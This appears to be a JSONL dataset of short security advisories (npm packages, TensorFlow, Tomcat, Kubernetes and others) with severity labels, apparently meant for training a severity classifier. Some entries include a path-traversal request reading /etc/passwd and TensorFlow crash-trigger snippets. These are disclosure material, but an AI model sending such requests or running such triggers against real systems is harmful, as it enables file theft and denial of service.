-{"id": "3a8c1c45a89843e4ccd7", "text": "Vulnerability in crunch function leads to arbitrary code execution via filePath parameters\n\naaptjs is a node wraper for aapt. An issue was discovered in the crunch function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "text_raw": "Vulnerability in crunch function leads to arbitrary code execution via filePath parameters\n\n[Severity: CRITICAL]\n\naaptjs is a node wraper for aapt. An issue was discovered in the crunch function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "fa138a6b17679b62308b", "text": "Centreon 2.6.1 Command Injection Vulnerability", "text_raw": "Centreon 2.6.1 Command Injection Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "43ccddb6509b47c3b148", "text": "Cross-site Scripting in reveal.js\n\nInsufficient validation in cross-origin communication (postMessage) in reveal.js version 3.9.1 and earlier allow attackers to perform cross-site scripting attacks.", "text_raw": "Cross-site Scripting in reveal.js\n\n[Severity: MEDIUM]\n\nInsufficient validation in cross-origin communication (postMessage) in reveal.js version 3.9.1 and earlier allow attackers to perform cross-site scripting attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "bb02f71ad6596521e8e1", "text": "Inefficient Regular Expression Complexity in vuelidate\n\nvuelidate is a simple, lightweight model-based validation for Vue.js 2.x & 3.0. A ReDoS (regular expression denial of service) flaw was found in the `@vuelidate/validators` package. An attacker that is able to provide crafted input to the url(input) function may cause an application to consume an excessive amount of CPU.", "text_raw": "Inefficient Regular Expression Complexity in vuelidate\n\n[Severity: HIGH]\n\nvuelidate is a simple, lightweight model-based validation for Vue.js 2.x & 3.0. A ReDoS (regular expression denial of service) flaw was found in the `@vuelidate/validators` package. An attacker that is able to provide crafted input to the url(input) function may cause an application to consume an excessive amount of CPU.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "8f533880a85696d43856", "text": "Apache Camel Netty enables Java deserialization by default\n\nApache Camel Netty enables Java deserialization by default. Apache Camel 2.22.x, 2.23.x, 2.24.x, 2.25.0, 3.0.0 up to 3.1.0 are affected. 2.x users should upgrade to 2.25.1, 3.x users should upgrade to 3.2.0.", "text_raw": "Apache Camel Netty enables Java deserialization by default\n\n[Severity: CRITICAL]\n\nApache Camel Netty enables Java deserialization by default. Apache Camel 2.22.x, 2.23.x, 2.24.x, 2.25.0, 3.0.0 up to 3.1.0 are affected. 2.x users should upgrade to 2.25.1, 3.x users should upgrade to 3.2.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-21", "split": "train"}
-{"id": "ccea311e177f9922a14e", "text": "Downloads Resources over HTTP in atom-node-module-installer\n\nAffected versions of `atom-node-module-installer` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `atom-node-module-installer`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in atom-node-module-installer\n\n[Severity: HIGH]\n\nAffected versions of `atom-node-module-installer` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `atom-node-module-installer`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "4cedb55d8be951b89f1f", "text": "Downloads Resources over HTTP in node-thulac\n\nAffected versions of `node-thulac` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `node-thulac`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in node-thulac\n\n[Severity: HIGH]\n\nAffected versions of `node-thulac` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `node-thulac`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "df6c816b517694f643d5", "text": "Confused Deputy in Kubernetes\n\nA security issue was discovered in Kubernetes where actors that control the responses of MutatingWebhookConfiguration or ValidatingWebhookConfiguration requests are able to redirect kube-apiserver requests to private networks of the apiserver. If that user can view kube-apiserver logs when the log level is set to 10, they can view the redirected responses and headers in the logs.", "text_raw": "Confused Deputy in Kubernetes\n\n[Severity: MEDIUM]\n\nA security issue was discovered in Kubernetes where actors that control the responses of MutatingWebhookConfiguration or ValidatingWebhookConfiguration requests are able to redirect kube-apiserver requests to private networks of the apiserver. If that user can view kube-apiserver logs when the log level is set to 10, they can view the redirected responses and headers in the logs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-21", "split": "train"}
-{"id": "4ee68ba0ed5cee6b71b7", "text": "Command Injection in giting\n\nAll versions of `gitting` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `exec` call, which may allow attackers to execute arbitrary code in the system. The `pull` function is vulnerable through the `branch` variable.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in giting\n\n[Severity: CRITICAL]\n\nAll versions of `gitting` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `exec` call, which may allow attackers to execute arbitrary code in the system. The `pull` function is vulnerable through the `branch` variable.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "cabca479fed92224f37b", "text": "Directory Traversal in wenluhong1\n\nAffected versions of `wenluhong1` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in wenluhong1\n\n[Severity: HIGH]\n\nAffected versions of `wenluhong1` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5d01c481604f5649ea78", "text": "IBM Data Risk Manager Directory Traversal Vulnerability\n\nAffected: IBM Data Risk Manager\n\nIBM Data Risk Manager contains a directory traversal vulnerability that could allow a remote authenticated attacker to traverse directories and send a specially crafted URL request to download arbitrary files from the system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "IBM Data Risk Manager Directory Traversal Vulnerability\n\nAffected: IBM Data Risk Manager\n\nIBM Data Risk Manager contains a directory traversal vulnerability that could allow a remote authenticated attacker to traverse directories and send a specially crafted URL request to download arbitrary files from the system.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "323a0b6988505231b8c2", "text": "Prototype Pollution in templ8\n\nAll versions of package templ8 up to and including 0.0.44 are vulnerable to Prototype Pollution via the parse function.", "text_raw": "Prototype Pollution in templ8\n\n[Severity: CRITICAL]\n\nAll versions of package templ8 up to and including 0.0.44 are vulnerable to Prototype Pollution via the parse function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "55f50fb3caaf4b234e2c", "text": "Deserialization of Untrusted Data\n\nAn issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Oracle JDBC jar in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.", "text_raw": "Deserialization of Untrusted Data\n\n[Severity: HIGH]\n\nAn issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Oracle JDBC jar in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "a9e6cf3a3aeb2441e268", "text": "XML External Entity vulnerability in Easy-XML\n\nThe parseXML function in Easy-XML 0.5.0 was discovered to have a XML External Entity (XXE) vulnerability which allows for an attacker to expose sensitive data or perform a denial of service (DOS) via a crafted external entity entered into the XML content as input.", "text_raw": "XML External Entity vulnerability in Easy-XML\n\n[Severity: HIGH]\n\nThe parseXML function in Easy-XML 0.5.0 was discovered to have a XML External Entity (XXE) vulnerability which allows for an attacker to expose sensitive data or perform a denial of service (DOS) via a crafted external entity entered into the XML content as input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "a2dd7d58079831885672", "text": "Out-of-bounds Read in concat-with-sourcemaps\n\nVersions of `concat-with-sourcemaps` before 1.0.6 allocates uninitialized Buffers when a number is passed as a separator.\n\n## Recommendation\n\nUpdate to version 1.0.6 or later.", "text_raw": "Out-of-bounds Read in concat-with-sourcemaps\n\n[Severity: MEDIUM]\n\nVersions of `concat-with-sourcemaps` before 1.0.6 allocates uninitialized Buffers when a number is passed as a separator.\n\n\n## Recommendation\n\nUpdate to version 1.0.6 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "fd551a4eb7aae6423d01", "text": "Downloads Resources over HTTP in soci\n\nAffected versions of `soci` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `soci`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in soci\n\n[Severity: HIGH]\n\nAffected versions of `soci` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `soci`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "cb6e47110a1d78153871", "text": "Arbitrary Code Execution in require-node\n\nVersions of `require-node` prior to 1.3.4 for 1.x and 2.0.4 for 2.x are vulnerable to Arbitrary Code Execution. The package fails to sanitize requests to the `require-node` endpoint, allowing attackers to execute arbitrary code in the server through the injection of OS commands in the request body.\n\n## Recommendation\n\n- If you are using 1.x, upgrade to version 1.3.4 or later.\n- If you are using 2.x, upgrade to version 2.0.4 or later.", "text_raw": "Arbitrary Code Execution in require-node\n\n[Severity: CRITICAL]\n\nVersions of `require-node` prior to 1.3.4 for 1.x and 2.0.4 for 2.x are vulnerable to Arbitrary Code Execution. The package fails to sanitize requests to the `require-node` endpoint, allowing attackers to execute arbitrary code in the server through the injection of OS commands in the request body.\n\n\n## Recommendation\n\n- If you are using 1.x, upgrade to version 1.3.4 or later.\n- If you are using 2.x, upgrade to version 2.0.4 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f2bf73c479051e256a68", "text": "Prototype Pollution in systeminformation\n\n### Impact\ncommand injection vulnerability by prototype pollution\n\n### Patches\nProblem was fixed with a rewrite of shell sanitations to avoid prototyper pollution problems. Please upgrade to version >= 4.30.2\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetChecksite()\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation/issues/new?template=bug_report.md)", "text_raw": "Prototype Pollution in systeminformation\n\n[Severity: MEDIUM]\n\n### Impact\ncommand injection vulnerability by prototype pollution\n\n### Patches\nProblem was fixed with a rewrite of shell sanitations to avoid prototyper pollution problems. Please upgrade to version >= 4.30.2\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetChecksite()\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation/issues/new?template=bug_report.md)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-27", "split": "train"}
-{"id": "9c1b553bb79673d6b063", "text": "brbackup exposes database password to unauthorized users\n\nlib/brbackup.rb in the brbackup gem 0.1.1 for Ruby places the database password on the mysql command line, which allows local users to obtain sensitive information by listing the process.", "text_raw": "brbackup exposes database password to unauthorized users\n\n[Severity: HIGH]\n\nlib/brbackup.rb in the brbackup gem 0.1.1 for Ruby places the database password on the mysql command line, which allows local users to obtain sensitive information by listing the process.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "c6aac242f56bc6649903", "text": "Heap buffer overflow in `MaxPoolGrad`\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nksize = [1, 1, 1, 1] \nstrides = [1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n  strides=strides, padding=padding, explicit_paddings=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203) fails to validate that indices used to access elements of input/output arrays are valid:\n\n```cc\nfor (int index = out_start; index < out_end; ++index) {\n  int input_backprop_index = out_arg_max_flat(index);\n  FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);\n  input_backprop_flat(input_backprop_index) += out_backprop_flat(index);\n}\n```\n\nWhereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the indexing in `out_backprop_flat` can result in OOB access.\n\n### Patches\nWe have patched the issue in GitHub commit [a74768f8e4efbda4def9f16ee7e13cf3922ac5f7](https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `MaxPoolGrad`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow:\n  \n```python\nimport tensorflow as tf\n\norig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nksize = [1, 1, 1, 1] \nstrides = [1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n  strides=strides, padding=padding, explicit_paddings=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203) fails to validate that indices used to access elements of input/output arrays are valid:\n\n```cc\nfor (int index = out_start; index < out_end; ++index) {\n  int input_backprop_index = out_arg_max_flat(index);\n  FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);\n  input_backprop_flat(input_backprop_index) += out_backprop_flat(index);\n}\n```\n\nWhereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the indexing in `out_backprop_flat` can result in OOB access.\n\n### Patches\nWe have patched the issue in GitHub commit [a74768f8e4efbda4def9f16ee7e13cf3922ac5f7](https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "1ea33abca1a2a5db5ff1", "text": "SOYAL 701Server 9.0.1 Insecure Permissions", "text_raw": "SOYAL 701Server 9.0.1 Insecure Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "956da794122e63447713", "text": "Directory Traversal in liuyaserver\n\nAffected versions of `liuyaserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in liuyaserver\n\n[Severity: HIGH]\n\nAffected versions of `liuyaserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "bc8440da4bf342d144b2", "text": "MTP Poll 1.0 Multiple Remote Script Insertion Vulnerabilities", "text_raw": "MTP Poll 1.0 Multiple Remote Script Insertion Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-02-25", "split": "train"}
-{"id": "c07b67bd7fc03f7c0bac", "text": "Potential remote code execution in Apache Tomcat\n\nThe fix for CVE-2020-9484 was incomplete. When using Apache Tomcat 10.0.0-M1 to 10.0.0, 9.0.0.M1 to 9.0.41, 8.5.0 to 8.5.61 or 7.0.0. to 7.0.107 with a configuration edge case that was highly unlikely to be used, the Tomcat instance was still vulnerable to CVE-2020-9494. Note that both the previously published prerequisites for CVE-2020-9484 and the previously published mitigations for CVE-2020-9484 also apply to this issue.", "text_raw": "Potential remote code execution in Apache Tomcat\n\n[Severity: HIGH]\n\nThe fix for CVE-2020-9484 was incomplete. When using Apache Tomcat 10.0.0-M1 to 10.0.0, 9.0.0.M1 to 9.0.41, 8.5.0 to 8.5.61 or 7.0.0. to 7.0.107 with a configuration edge case that was highly unlikely to be used, the Tomcat instance was still vulnerable to CVE-2020-9494. Note that both the previously published prerequisites for CVE-2020-9484 and the previously published mitigations for CVE-2020-9484 also apply to this issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "d4a3c680ebbfae2f1ec7", "text": "CHECK-fail in AddManySparseToTensorsMap\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in  `tf.raw_ops.AddManySparseToTensorsMap`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nsparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)\nsparse_values = tf.ones([1], dtype=tf.int64)\n\nshape = tf.Variable(tf.ones([55], dtype=tf.int64))\nshape[:8].assign(np.array([855, 901, 429, 892, 892, 852, 93, 96], dtype=np.int64))\n\ntf.raw_ops.AddManySparseToTensorsMap(sparse_indices=sparse_indices,\n                    sparse_values=sparse_values,\n                    sparse_shape=shape)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/kernels/sparse_tensors_map_ops.cc#L257) takes the values specified in `sparse_shape` as dimensions for the output shape:\n\n```cc\n    TensorShape tensor_input_shape(input_shape->vec<int64>());\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n\n```cc\ntemplate <class Shape>\nTensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial && (num_elements() < 0 || size < 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements < 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in AddManySparseToTensorsMap\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in  `tf.raw_ops.AddManySparseToTensorsMap`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nsparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)\nsparse_values = tf.ones([1], dtype=tf.int64)\n\nshape = tf.Variable(tf.ones([55], dtype=tf.int64))\nshape[:8].assign(np.array([855, 901, 429, 892, 892, 852, 93, 96], dtype=np.int64))\n\ntf.raw_ops.AddManySparseToTensorsMap(sparse_indices=sparse_indices,\n                    sparse_values=sparse_values,\n                    sparse_shape=shape)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/kernels/sparse_tensors_map_ops.cc#L257) takes the values specified in `sparse_shape` as dimensions for the output shape: \n\n```cc\n    TensorShape tensor_input_shape(input_shape->vec<int64>());\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n  \n```cc\ntemplate <class Shape>\nTensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial && (num_elements() < 0 || size < 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements < 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "4706e85880a94528a6a8", "text": "Prototype Pollution in promisehelpers\n\nAll versions of package promisehelpers up to and including version 0.0.5 are vulnerable to Prototype Pollution via the insert function.", "text_raw": "Prototype Pollution in promisehelpers\n\n[Severity: CRITICAL]\n\nAll versions of package promisehelpers up to and including version 0.0.5 are vulnerable to Prototype Pollution via the insert function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
